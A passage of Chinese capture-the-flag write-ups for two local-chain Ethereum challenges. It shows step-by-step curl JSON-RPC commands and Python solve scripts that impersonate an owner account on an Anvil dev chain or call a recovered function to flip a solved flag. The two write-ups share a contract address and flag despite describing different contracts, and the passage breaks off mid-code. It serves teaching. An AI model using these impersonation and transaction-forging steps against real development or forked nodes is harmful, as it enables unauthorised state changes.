很多区块链 CTF 题都会故意用“私钥”“钱包”“地址”这种字眼来把人往错误方向带。

但从代码角度看,这题其实只是一个极简权限判断:

require(msg.sender == owner, "Not Owner");

我们把它翻译成更直白的人话:

  • 合约根本不关心你是怎么来的
  • 它只关心 EVM 看到的 msg.sender 是不是 owner

这一点特别重要,因为它决定了我们的攻击方向。

如果是在真实公链上,那么要让 msg.sender 等于某个地址,通常就只有两条路:

  1. 你真的有这个地址对应的私钥,可以签名发交易
  2. 合约本身有漏洞,能通过委托调用、权限绕过之类手段伪造效果

但这题给的是一个动态环境的本地链 RPC,这就意味着还存在第三条路:

  1. 利用开发链的“模拟账户”能力,让节点替你把 from 伪装成 owner

而第三条,正是这题的正解。


三、为什么要先确认链是不是开发链

虽然很多人看到 /rpc 会直接开始发交易,但更稳妥的做法是先确认这到底是什么链。

1. 先定义一下变量,后面命令更好复现

为了方便,我们把当前环境的基础 URL 记成变量:

BASE='http://nihaohaha123:12345'
RPC="$BASE/rpc"

以后所有 JSON-RPC 请求都往 $RPC 打。

2. 查询客户端类型

发送:

curl -s "$RPC" \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"web3_clientVersion","params":[]}'

返回:

{"jsonrpc":"2.0","id":1,"result":"anvil/v1.5.1"}

这一条返回值直接把题眼暴露出来了:

节点就是 Anvil。

Anvil 是 Foundry 生态里的本地开发链,常用于:

  • 本地部署合约
  • 测试脚本
  • Fork 主网/测试网
  • 调试交易
  • CTF 动态链环境

3. 再看链 ID

继续发送:

curl -s "$RPC" \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_chainId","params":[]}'

返回:

{"jsonrpc":"2.0","id":1,"result":"0x7a69"}

0x7a69 转成十进制,就是 31337

31337 是非常经典的本地开发链链 ID。

看到这两个信息以后,我们基本就可以下结论了:

  • 这不是 Sepolia 真链
  • 这不是远程公共节点
  • 这是一个可调试、可操控的本地开发环境

而本地开发环境最值得联想到的关键词就是:

impersonate

也就是“模拟某个账户”。


四、Anvil 的 impersonate 到底是什么

这是本题最核心、也是最值得学会的知识点。

1. 正常公链上的交易流程

在真实以太坊网络里,通常是这样:

  1. 你拿自己的私钥对交易签名
  2. 节点验证签名
  3. 节点从签名里恢复出发送者地址
  4. EVM 执行时,把这个地址作为 msg.sender

所以在正常情况下:

没有私钥,你就没法让节点认可你是某个地址。

2. 但开发链不一样

Anvil 为了调试方便,提供了一些额外的 JSON-RPC 方法,其中就包括:

anvil_impersonateAccount

它的作用是:

告诉节点:“接下来把这个地址当成一个可直接发送交易的账户来处理。”

也就是说,一旦你模拟了某个地址,后续就可以直接用:

{
  "from": "那个地址",
  "to": "目标合约",
  "data": "函数调用数据"
}

去发 eth_sendTransaction,而不需要你真的拥有这个地址的私钥。

3. 这为什么是 CTF 里的常见题眼

因为很多链题会做成:

  • 合约 owner 是一个你没有私钥的地址
  • 但整个环境跑在 Anvil / Hardhat 本地链上
  • 出题人故意不封掉模拟账户能力

于是题目就从“拿私钥”变成了:

“你有没有意识到,这其实是本地开发链权限题,而不是密码学题。”

这道题正是如此。


五、正式利用前,先把关键状态确认一遍

虽然页面已经给了源码,但在实战中,养成“链上再验证一遍”的习惯非常好。

1. 查看 owner

因为 ownerpublic 变量,Solidity 会自动生成 getter,函数签名是:

owner()

它的 selector 是:

0x8da5cb5b

可以直接 eth_call

curl -s "$RPC" \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"to":"0x75537828f2ce51be7289709686A69CbFDbB714F1","data":"0x8da5cb5b"},"latest"]}'

返回:

{"jsonrpc":"2.0","id":1,"result":"0x0000000000000000000000001862fb125eec7b36e0797b4f8f55dfb099f08934"}

这就再次验证了 owner 的确是题目给的那个地址。

2. 查看初始是否已解

isSolve 也是 public 变量,对应 getter 是:

isSolve()

selector 为:

0xf535c425

查询:

curl -s "$RPC" \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"to":"0x75537828f2ce51be7289709686A69CbFDbB714F1","data":"0xf535c425"},"latest"]}'

返回:

{"jsonrpc":"2.0","id":1,"result":"0x0000000000000000000000000000000000000000000000000000000000000000"}

最后一位是 0,说明题目一开始还没有被解出。

3. 顺手看一下 owner 有没有钱

即便能 impersonate,一个地址如果完全没余额,也没法支付 gas。

所以可以顺手查一下:

curl -s "$RPC" \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_getBalance","params":["0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934","latest"]}'

返回:

{"jsonrpc":"2.0","id":1,"result":"0xde0b6b3a7640000"}

0xde0b6b3a7640000 正好是 1 ether

这说明当前实例里,owner 地址已经被预先打了 1 ETH,足够发交易。

这又是一个出题人的提示:

既然 owner 这个“陌生地址”在本地链上都有余额,那十有八九就是在暗示你去操作它。


六、solve() 的调用数据怎么来

我们虽然有源码,但题解里最好把原理讲透。

1. solve() 的函数签名

函数签名是:

solve()

在 EVM 里,外部函数调用的 calldata 前 4 个字节是函数 selector。

selector 的计算方式是:

keccak256("solve()") 的前 4 个字节

本题里结果是:

0x890d6908

所以只要向合约发送:

data = 0x890d6908

就等价于调用了:

solve()

2. 如何自己验证 selector

如果你装了 Foundry,可以直接:

cast sig "solve()"

如果你没有 Foundry,也可以用 Python 算:

from eth_utils import keccak
print(keccak(text="solve()")[:4].hex())

输出就是:

890d6908

七、正式利用:模拟 owner 调用 solve()

现在已经万事俱备,只差最后几步。

第一步:模拟 owner 账户

发送:

curl -s "$RPC" \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"anvil_impersonateAccount","params":["0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934"]}'

返回:

{"jsonrpc":"2.0","id":1,"result":null}

这里返回 null 不代表失败。

对于这个 RPC 方法来说,result: null 是正常现象,表示请求已被接受。

第二步:估算 gas

这是一个非常值得强调的细节。

很多刚接触链题的人会直接把 gas 写成 0x5208,也就是十进制 21000

但:

  • 21000 只是普通转账的最低 gas
  • 调用合约函数通常会比这个更高

所以最好先估算一下:

curl -s "$RPC" \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_estimateGas","params":[{"from":"0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934","to":"0x75537828f2ce51be7289709686A69CbFDbB714F1","data":"0x890d6908"}]}'

返回:

{"jsonrpc":"2.0","id":1,"result":"0x6504"}

0x6504 = 25860,说明 21000 确实不够。

所以我们后面发交易时,可以给一个稍微宽裕一点的 gas,比如 0x186a0,也就是 100000

第三步:以 owner 身份发送交易

发送:

curl -s "$RPC" \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_sendTransaction","params":[{"from":"0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934","to":"0x75537828f2ce51be7289709686A69CbFDbB714F1","data":"0x890d6908","gas":"0x186a0","gasPrice":"0x3b9aca00"}]}'

返回一个交易哈希,例如:

{"jsonrpc":"2.0","id":1,"result":"0x5a90c9202f700aa80767af7e15a0450bfa6ccf2a301885944d5fe4d9ec15a83f"}

第四步:查看回执确认交易成功

curl -s "$RPC" \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_getTransactionReceipt","params":["0x5a90c9202f700aa80767af7e15a0450bfa6ccf2a301885944d5fe4d9ec15a83f"]}'

返回中关键部分如下:

{
  "status":"0x1",
  "from":"0x1862fb125eec7b36e0797b4f8f55dfb099f08934",
  "to":"0x75537828f2ce51be7289709686a69cbfdbb714f1"
}

这里最重要的是两点:

  • status = 0x1,表示执行成功
  • from = owner 地址,说明 impersonate 生效了

第五步:再次读取 isSolve

curl -s "$RPC" \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"to":"0x75537828f2ce51be7289709686A69CbFDbB714F1","data":"0xf535c425"},"latest"]}'

返回:

{"jsonrpc":"2.0","id":1,"result":"0x0000000000000000000000000000000000000000000000000000000000000001"}

最后一位变成 1,说明 challenge 状态已经被成功修改。

到这里,链上部分其实已经结束了。


八、最后一步:请求判题接口拿 Flag

链上状态改完以后,还要记得点击页面按钮或者自己请求接口。

直接 POST 到 /api/solve

curl -s -X POST "$BASE/api/solve" \
  -H 'Content-Type: application/json' \
  -d '{}'

返回:

{"flag":"xmctf{nihaohaha123}","solved":true}

于是成功拿到 flag:

xmctf{nihaohaha123}

九、为什么这题根本不需要“算出私钥”

这是整道题最值得复盘的一点。

1. 合约只认 msg.sender

solve() 的限制条件只是:

require(msg.sender == owner, "Not Owner");

它没有做任何关于“私钥”的链上验证。

链上合约本身看不到你的私钥,也不会在 Solidity 层验证签名。

合约只能看到:

  • 谁发起了交易
  • calldata 是什么
  • 当前状态是什么

所以真正决定 msg.sender 的,其实是节点如何接受和构造这笔交易

2. 在本地开发链里,节点可以被调试接口“说服”

真实公链节点不会允许你随便伪装别人的地址。

但本地开发链为了方便测试,特意提供了调试能力:

  • 可以模拟任意账户
  • 可以设置余额
  • 可以修改区块时间
  • 可以手动挖块

因此在本地开发链环境里:

“没有私钥”并不等于“不能以该地址发交易”。

3. Sepolia 地址只是一个迷惑项

题目给你的 Sepolia 地址 0x1862...8934 看起来像是在说:

  • 去链上找线索
  • 去推断这个人怎么生成私钥
  • 去做地址画像

但事实上,这个地址在本题里更像一个“字符串常量”:

  • 它只是被写进了本地 challenge 合约里
  • 本地合约比较的是地址值本身
  • 它是否来自 Sepolia、历史上做过什么、有没有真实私钥泄漏,对本题都不关键

这就是这道题最典型的误导设计。


十、如果 owner 没钱怎么办

虽然本题实例里 owner 已经有 1 ETH,但教学上最好把这种情况讲完整。

如果你遇到类似题目,能 impersonate,但目标地址没余额,那么做法通常是:

  1. 使用题目给你的预置玩家私钥控制一个有钱账户
  2. 先给被 impersonate 的 owner 转一点 ETH
  3. 再切换为 owner 去调用受限函数

也就是说,题目里给你的“玩家私钥”在很多时候不是直接解题用的,而是:

给最终目标账户补 gas 的辅助工具。

这也是为什么读题时不要执着于“题目给的私钥一定是要直接用来调用目标函数”的原因。


十一、常见坑点总结

1. 把题目理解成“私钥爆破题”

这是最容易掉进去的坑。

看到“口算私钥”四个字,再配一个真实测试网地址,很容易往密码学方向脑补。但这题的本质不是:

  • 弱随机数
  • 私钥泄露
  • 脑洞口令
  • 地址碰撞

而是:

开发链特性利用。

2. 只盯着玩家私钥,不分析 owner

页面给了玩家私钥,但 solve() 要求的是 owner,而 owner 不是玩家地址。

如果你拿玩家私钥直接发 solve(),只会得到:

Not Owner

因此真正要关注的是:

  • 谁有权限
  • 权限判断条件是什么
  • 有没有别的方法让 msg.sender 变成那个地址

3. 合约调用 gas 只写 21000

再次强调一次:

  • 21000 是普通转账的基础 gas
  • 不是“万能 gas 值”

只要你是调用合约,优先做法应该都是:

  • eth_estimateGas
  • 或者给一个更宽松的上限

4. 链上成功后忘记调用判题接口

这类动态环境题一般都不是“链上状态变了就自动弹 flag”。

通常还需要:

  • 点页面上的 Check Solution
  • 或者手动请求 /api/solve

所以不要链上做完就停了,记得把最后一步补上。


十二、完整命令行复现版

如果你只想无脑复现,可以直接按下面这组命令走。

BASE='http://nihaohaha123:12345'
RPC="$BASE/rpc"

# 1. 确认是 anvil
curl -s "$RPC" \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"web3_clientVersion","params":[]}'

# 2. 模拟 owner
curl -s "$RPC" \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"anvil_impersonateAccount","params":["0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934"]}'

# 3. 发起 solve()
curl -s "$RPC" \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_sendTransaction","params":[{"from":"0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934","to":"0x75537828f2ce51be7289709686A69CbFDbB714F1","data":"0x890d6908","gas":"0x186a0","gasPrice":"0x3b9aca00"}]}'

# 4. 取 flag
curl -s -X POST "$BASE/api/solve" \
  -H 'Content-Type: application/json' \
  -d '{}'

十三、附录:Python 一把梭脚本

如果你想把这个过程做成自动化脚本,可以用下面这份最小版 Python。

import requests

BASE = "http://nihaohaha123:12345"
RPC = f"{BASE}/rpc"

OWNER = "0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934"
TARGET = "0x75537828f2ce51be7289709686A69CbFDbB714F1"


def rpc(method, params):
    r = requests.post(
        RPC,
        json={
            "jsonrpc": "2.0",
            "id": 1,
            "method": method,
            "params": params,
        },
        timeout=10,
    )
    r.raise_for_status()
    return r.json()


print("[*] client =", rpc("web3_clientVersion", [])["result"])
print("[*] chainId =", rpc("eth_chainId", [])["result"])

print("[*] impersonating owner...")
rpc("anvil_impersonateAccount", [OWNER])

print("[*] estimate gas...")
gas = rpc(
    "eth_estimateGas",
    [{"from": OWNER, "to": TARGET, "data": "0x890d6908"}],
)["result"]
print("[*] estimated gas =", gas)

print("[*] sending solve() tx...")
tx = rpc(
    "eth_sendTransaction",
    [{
        "from": OWNER,
        "to": TARGET,
        "data": "0x890d6908",
        "gas": "0x186a0",
        "gasPrice": "0x3b9aca00",
    }],
)["result"]
print("[*] tx =", tx)

print("[*] checking status...")
solved = rpc(
    "eth_call",
    [{"to": TARGET, "data": "0xf535c425"}, "latest"],
)["result"]
print("[*] isSolve =", solved)

print("[*] fetching flag...")
r = requests.post(f"{BASE}/api/solve", json={}, timeout=10)
r.raise_for_status()
print(r.text)

十四、这题到底在考什么

如果把这题提炼成一个知识点,我会这样总结:

1. 识别题目运行环境

很多区块链题的难点不在合约本身,而在于:

你有没有意识到自己面对的是“开发链环境”,而不是“真实公链环境”。

环境不同,可用手段就完全不同。

2. 不要被题面文案绑架

题目说“拿私钥”,不代表真要从密码学角度求私钥。

更高效的做法永远是:

  • 先看代码到底检查什么
  • 再想最便宜的满足条件方式

本题检查的是:

msg.sender == owner

那我们就去想办法控制 msg.sender,而不是先入为主地执着于“算私钥”。

3. 学会使用开发链特有 RPC

这类方法非常值得记住:

  • anvil_impersonateAccount
  • eth_estimateGas
  • eth_call
  • eth_sendTransaction
  • eth_getTransactionReceipt

它们在 CTF 里出现频率非常高。

尤其是 anvil_impersonateAccount,几乎可以说是:

看到 Anvil 本地链时必须第一时间联想到的方法。


十五、最终答案

本次环境实测拿到的 flag 为:

xmctf{nihaohaha123}

十六、结语

这题表面上像“私钥题”,实际上是非常典型的“开发链环境利用题”。

它最好的教学意义在于提醒我们:

  • 先分析环境,再分析漏洞
  • 先看合约真正检查的是什么,再决定攻击路线
  • 不要被题目名字和题面文案牵着走

真正让这题解开的,不是“算出私钥”的能力,而是:

认出 Anvil,并想到 impersonate。

【MISC】 抄作业

题目信息

  • 题目名:抄作业
  • 作者:UPON
  • 类别:Misc
  • 环境类型:动态环境 / 本地区块链 RPC
  • 最终 Flag:xmctf{nihaohaha123}

一、题目到底在说什么

题面很短,大意是:

  1. 出题人好像没给源码。
  2. 页面上只有一个 RPC 可以用。
  3. 让你“自己看看能干啥”。

打开题目页面后,可以看到这些关键内容:

  • RPC Endpoint:/rpc
  • Challenge Contract:0x75537828f2ce51be7289709686A69CbFDbB714F1
  • 玩家地址:0xa126e3073C1155168eF2b39E676E04d82Da42a95
  • 玩家私钥:0xa06942b8cde32298973feed2e9e23de863c4a840de8a900262f22d4c2adb9b67
  • 页面底部有一个 Check Solution 按钮,对应接口是 /api/solve

最迷惑人的点在于,页面明明做了两个源码标签页:

  • Challange.sol
  • Setup.sol

但是里面都只显示一句:

No Source

很多人看到这里会卡住,觉得“没有源码那怎么做”。
其实这题反而是在提示你:别等源码了,直接从链上把逻辑抄回来。


二、这题的核心思路

这题本质上不是传统的“读源码审计”题,而是一个非常典型的:

没有源码时,如何仅凭 RPC 和链上字节码还原合约逻辑,并构造最小利用。

所以正确的做题路线不是:

  • 拼命点页面
  • 猜参数
  • 乱发交易

而应该是:

  1. 先确认链是不是本地测试链。
  2. 直接从 RPC 取目标合约字节码。
  3. 从字节码里找函数 selector。
  4. 分析每个 selector 的语义。
  5. 先用 eth_call 做“无副作用试验”。
  6. 确认条件后,再发真实交易。
  7. 最后调用 /api/solve 拿 flag。

如果你以后遇到“前端不给源码,但给了 RPC / 合约地址 / 私钥”的题,十有八九都可以按这个套路开。


三、第一步:先把题面里能拿到的信息榨干

1. 页面源码里已经给了很多东西

页面虽然不给 Solidity 源码,但其实并没有完全隐藏信息。

从 HTML 里可以看到:

  • /rpc 就是 JSON-RPC 入口
  • /api/solve 是判题接口
  • 题目会检查你的链上状态,然后决定是否返回 flag

这说明:

  • 这不是纯前端题
  • 不是网页逻辑绕过
  • 真正的题眼在链上合约

2. 先确认链 ID

发送 JSON-RPC 请求:

curl -s -X POST 'http://nihaohaha123:12345/rpc' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_chainId","params":[]}'

返回:

{"jsonrpc":"2.0","id":1,"result":"0x7a69"}

0x7a69 = 31337,这是非常常见的本地开发链 ID。

这一步很重要,因为它告诉我们:

  • 这不是主网
  • 不是测试网
  • 很可能是 anvil / hardhat 之类启动的本地环境
  • 所以 gas、nonce、签名这些都按普通以太坊交易流程来做即可

四、第二步:没有源码?那就直接拿字节码

请求目标合约的运行时代码:

curl -s -X POST 'http://nihaohaha123:12345/rpc' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_getCode","params":["0x75537828f2ce51be7289709686A69CbFDbB714F1","latest"]}'

会得到一大串十六进制字节码。

这时候很多新手会觉得:

我又不会看 EVM 字节码,这不是还是没法做吗?

其实这一步的目标不是“完整反编译整个合约”,而是先回答两个最关键的问题:

  1. 这个合约一共有几个可调用函数?
  2. 每个函数大概在干什么?

对于这道题,这两个问题就已经够用了。


五、第三步:从函数分发逻辑里找 selector

1. 观察函数分发部分

把字节码简单反汇编后,最开头会看到类似这样的结构:

0019: PUSH0
001a: CALLDATALOAD
001b: PUSH1   0xe0
001d: SHR
001e: DUP1
001f: PUSH4   0x5e36bdc6
0024: EQ
0025: PUSH2   0x0038
0028: JUMPI
0029: DUP1
002a: PUSH4   0xaab2fcd2
002f: EQ
0030: PUSH2   0x0068
0033: JUMPI

这段逻辑的意思很经典:

  1. 读取 calldata 的前 32 字节。
  2. 右移 0xe0 = 224 位。
  3. 只保留前 4 字节。
  4. 和几个固定值比较。
  5. 匹配哪个 selector,就跳到哪个函数实现。

这就是 Solidity 合约最常见的函数分发器。

所以我们立刻得到一个结论:

这个合约只有两个外部函数:

  • 0x5e36bdc6
  • 0xaab2fcd2

这已经是很大突破了。


六、第四步:先认出第一个函数到底是谁

1. 直接猜常见 getter 名字

第一页看上去像一道 challenge 合约,最常见的状态就是:

mapping(address => bool) public solved;

如果 Solidity 里写了这句,编译器会自动生成 getter:

function solved(address) external view returns (bool)

我们可以自己算一下 selector:

from Crypto.Hash import keccak

k = keccak.new(digest_bits=256)
k.update(b"solved(address)")
print(k.hexdigest()[:8])

输出正好是:

5e36bdc6

也就是说:

0x5e36bdc6 就是 solved(address)

这一步非常关键,因为它把“我们在猜”变成了“我们已经知道这个 getter 的精确语义”。

2. 用 eth_call 验证 getter

题目给的玩家地址是:

0xa126e3073C1155168eF2b39E676E04d82Da42a95

把它作为参数喂给 solved(address)

curl -s -X POST 'http://nihaohaha123:12345/rpc' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"to":"0x75537828f2ce51be7289709686A69CbFDbB714F1","data":"0x5e36bdc6000000000000000000000000a126e3073c1155168ef2b39e676e04d82da42a95"},"latest"]}'

返回:

{"jsonrpc":"2.0","id":1,"result":"0x0000000000000000000000000000000000000000000000000000000000000000"}

也就是 false

这和我们预期完全一致:

  • 玩家初始状态还没解题
  • 所以 solved(player) == false

七、顺便讲一下:为什么这里看起来像 mapping(address => bool)

很多人学链上题时会背“selector”和“ABI”,但对存储布局不熟。
这题正好可以顺手把这个知识点也讲清楚。

1. getter 对应的底层逻辑

这个 getter 的实现片段大概是这样的:

0085: PUSH0
0086: PUSH1   0x20
0088: MSTORE
0089: DUP1
008a: PUSH0
008b: MSTORE
008c: PUSH1   0x40
008e: PUSH0
008f: SHA3
0093: SLOAD
0095: PUSH2   0x0100
0098: EXP
0099: SWAP1
009a: DIV
009b: PUSH1   0xff
009d: AND

它做的事其实就是:

  1. address 参数和 slot 0 放到内存里。
  2. 对这 64 字节做 keccak256
  3. 用结果作为 storage slot 去 SLOAD
  4. 取最低 1 个字节,当作 bool 返回。

这就是 Solidity 中 mapping(address => bool) solved; 的标准存储方式。

2. mapping 的槽位怎么计算

如果有:

mapping(address => bool) public solved; // 位于 slot 0

那么:

solved[player] 存在 keccak256(pad(player) || pad(0))

我们拿题目里的地址自己算:

from Crypto.Hash import keccak

addr = "a126e3073c1155168ef2b39e676e04d82da42a95"
slot = "0".rjust(64, "0")
key = addr.rjust(64, "0") + slot

k = keccak.new(digest_bits=256)
k.update(bytes.fromhex(key))
print("0x" + k.hexdigest())

得到:

0x62026e19d52e4a9032971ff627ea20fdf7096f5df520f454e3dc95a0f7dc968a

然后直接读这个存储槽:

curl -s -X POST 'http://nihaohaha123:12345/rpc' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_getStorageAt","params":["0x75537828f2ce51be7289709686A69CbFDbB714F1","0x62026e19d52e4a9032971ff627ea20fdf7096f5df520f454e3dc95a0f7dc968a","latest"]}'

在解题成功之后,返回会是:

{"jsonrpc":"2.0","id":1,"result":"0x0000000000000000000000000000000000000000000000000000000000000001"}

这就从存储层面再次证明:

  • 合约里确实有一个 mapping(address => bool)
  • 它大概率就叫 solved

八、第五步:分析第二个函数 0xaab2fcd2

第一个函数只是查看状态,真正能改变状态的一定是第二个函数。

1. 看它的参数个数

第二个函数入口前的 ABI 解码部分很明显在解三个 32 字节参数:

0235: JUMPDEST
0236: PUSH0
0237: DUP1
0238: PUSH0
0239: PUSH1   0x60
...
024d: PUSH0
024e: PUSH2   0x0259
...
025d: PUSH1   0x20
...
026e: PUSH1   0x40

0x60 = 96 字节,刚好对应 3 个 uint256

所以这个函数可以先记成:

function unknown(uint256 a, uint256 b, uint256 c) external

2. 看函数核心逻辑

核心逻辑在这里:

00a1: DUP1
00a2: DUP3
00a3: DUP5
00a4: PUSH2   0x00ad
00a9: PUSH2   0x02b2
00ad: JUMPDEST
00ae: EQ
00af: PUSH2   0x00ed
00b2: JUMPI
...
00ed: JUMPDEST
00ee: PUSH1   0x01
...
00f2: CALLER
...
012a: PUSH0
012b: SHA3
...
0140: SSTORE

这里最重要的是两段:

  1. 前半段先做了一个比较,不满足就 revert("wrong")
  2. 满足后就把 CALLER 对应的 mapping 值写成 1

也就是说它的语义一定类似:

require(某个条件, "wrong");
solved[msg.sender] = true;

这已经非常接近答案了。

3. 条件到底是什么

继续看 0x02b2 这段子逻辑,会发现它在做:

02ca: DUP3
02cb: DUP3
02cc: MUL
...
02d8: DUP3
02d9: DUP3
02da: DIV
02db: DUP5
02dc: EQ
02dd: DUP4
02de: ISZERO
02df: OR

这是 Solidity 0.8.x 编译器非常典型的“安全乘法”模板。它本质上在检查:

a * b == c

同时还顺带做了溢出保护。

如果你以前见过 Solidity 0.8 生成的字节码,会对这个模式很熟。

换句话说,这个函数大概率就是:

function unknown(uint256 a, uint256 b, uint256 c) external {
    require(a * b == c, "wrong");
    solved[msg.sender] = true;
}

九、第六步:不要急着发交易,先用 eth_call 验证猜想

这是非常重要的做题习惯。

为什么先用 eth_call

因为 eth_call 有几个好处:

  1. 不消耗 gas
  2. 不改链上状态
  3. 如果条件不对,会直接把 revert 原因回给你
  4. 可以快速枚举和试错

所以在你还不完全确定逻辑之前,优先 eth_call

1. 先试一个最简单的三元组

如果条件真的是 a * b == c,那 (2, 3, 6) 应该过。

构造 calldata:

  • selector:aab2fcd2
  • 2 编码成 32 字节
  • 3 编码成 32 字节
  • 6 编码成 32 字节

也就是:

0xaab2fcd2
0000000000000000000000000000000000000000000000000000000000000002
0000000000000000000000000000000000000000000000000000000000000003
0000000000000000000000000000000000000000000000000000000000000006

请求:

curl -s -X POST 'http://nihaohaha123:12345/rpc' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"from":"0xa126e3073C1155168eF2b39E676E04d82Da42a95","to":"0x75537828f2ce51be7289709686A69CbFDbB714F1","data":"0xaab2fcd2000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000006"},"latest"]}'

返回:

{"jsonrpc":"2.0","id":1,"result":"0x"}

没有报错,说明条件通过。

2. 再试一些错误排列

例如 (2, 6, 3)

{
  "error": {
    "code": 3,
    "message": "execution reverted: wrong"
  }
}

这进一步证明:

  • 函数的确会在条件不满足时 revert("wrong")
  • (2,3,6) 是满足条件的

这里其实不需要知道第二个函数的真实名字。
只要我们知道 selector、参数个数和通过条件,就已经足够利用了。


十、很多新手会在这里掉坑:eth_call 通过了,不代表题目已经做出来

这点一定要单独强调。

eth_call 的行为是:

  • 在本地模拟执行合约代码
  • 返回执行结果
  • 但不会真正写入链上状态

也就是说,哪怕你 eth_call 调用 (2,3,6) 成功了,solved[msg.sender] 也不会真的变成 true

所以真正解题时,必须发送一笔真实交易

这是很多区块链题入门者最容易踩的坑之一。


十一、第七步:构造一笔真实交易

既然题目已经把私钥发给我们了,那就很简单:

  1. 读取 nonce
  2. 读取 gasPrice
  3. 读取 chainId
  4. 构造交易
  5. 本地签名
  6. eth_sendRawTransaction

1. 先拿 nonce

curl -s -X POST 'http://nihaohaha123:12345/rpc' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_getTransactionCount","params":["0xa126e3073C1155168eF2b39E676E04d82Da42a95","latest"]}'

初始返回:

{"jsonrpc":"2.0","id":1,"result":"0x0"}

说明这是这个账户发出的第一笔交易。

2. 再拿 gasPrice

curl -s -X POST 'http://nihaohaha123:12345/rpc' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_gasPrice","params":[]}'

返回:

{"jsonrpc":"2.0","id":1,"result":"0x5ebe5c08"}

3. 再确认 chainId

前面已经得到:

0x7a69 = 31337

4. 真实发送用的 Python 脚本

我这里用的是 eth-account 来签名,脚本如下:

import json
import time
import urllib.request
from eth_account import Account

RPC = "http://nihaohaha123:12345/rpc"
ADDR = "0xa126e3073C1155168eF2b39E676E04d82Da42a95"
PRIV = "0xa06942b8cde32298973feed2e9e23de863c4a840de8a900262f22d4c2adb9b67"
TO = "0x75537828f2ce51be7289709686A69CbFDbB714F1"

def rpc(method, params):
    payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": method,
        "params": params,
    }
    req = urllib.request.Request(
        RPC,
        data=json.dumps(payload).encode(),
        headers={"Content-Type": "application/json"},
    )
    with urllib.request.urlopen(req, timeout=20) as r:
        return json.loads(r.read())

nonce = int(rpc("eth_getTransactionCount", [ADDR, "latest"])["result"], 16)
gas_price = int(rpc("eth_gasPrice", [])["result"], 16)
chain_id = int(rpc("eth_chainId", [])["result"], 16)

data = "0xaab2fcd2" + "".join(f"{x:064x}" for x in (2, 3, 6))

tx = {
    "nonce": nonce,
    "gasPrice": gas_price,
    "gas": 100000,
    "to": TO,
    "value": 0,
    "data": data,
    "chainId": chain_id,
}

signed = Account.sign_transaction(tx, PRIV)
raw = signed.raw_transaction.hex()
if not raw.startswith("0x"):
    raw = "0x" + raw

resp = rpc("eth_sendRawTransaction", [raw])
print(resp)

tx_hash = resp["result"]
for _ in range(20):
    receipt = rpc("eth_getTransactionReceipt", [tx_hash])
    if receipt.get("result"):
        print(receipt["result"])
        break
    time.sleep(0.5)

5. 这笔交易的关键信息

真实链上记录如下:

  • 交易哈希:0x16c0ea48fc20e8d45824101c35872f710b3cf4855b4d1330762946f84a4419df
  • from0xa126e3073c1155168ef2b39e676e04d82da42a95
  • to0x75537828f2ce51be7289709686a69cbfdbb714f1
  • input0xaab2fcd2...0002...0003...0006
  • 状态:status = 0x1

也就是说,这笔交易执行成功了。


十二、第八步:验证状态是否真的被改了

1. 再次调用 solved(address)

curl -s -X POST 'http://nihaohaha123:12345/rpc' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"to":"0x75537828f2ce51be7289709686A69CbFDbB714F1","data":"0x5e36bdc6000000000000000000000000a126e3073c1155168ef2b39e676e04d82da42a95"},"latest"]}'

现在返回:

{"jsonrpc":"2.0","id":1,"result":"0x0000000000000000000000000000000000000000000000000000000000000001"}

也就是:

solved(player) == true

2. 从 storage 再看一遍

前面算出来的 mapping 槽位:

0x62026e19d52e4a9032971ff627ea20fdf7096f5df520f454e3dc95a0f7dc968a

读取这个槽,返回也是:

...0001

说明状态真的已经写进链上了,不是 eth_call 的假象。


十三、第九步:调用判题接口拿 flag

最后直接 POST:

curl -s -X POST 'http://nihaohaha123:12345/api/solve' \
  -H 'Content-Type: application/json' \
  --data '{}'

返回:

{"flag":"xmctf{nihaohaha123}","solved":true}

成功拿到 flag。


十四、把整个合约还原成伪源码

虽然题目没有给 Solidity 源码,但根据 selector、逻辑和存储行为,我们已经足以把核心逻辑还原出来:

pragma solidity ^0.8.20;

contract Challenge {
    mapping(address => bool) public solved;

    // 函数真实名字未知,因为 selector 0xaab2fcd2 没有现成签名可查,
    // 但这并不影响利用。
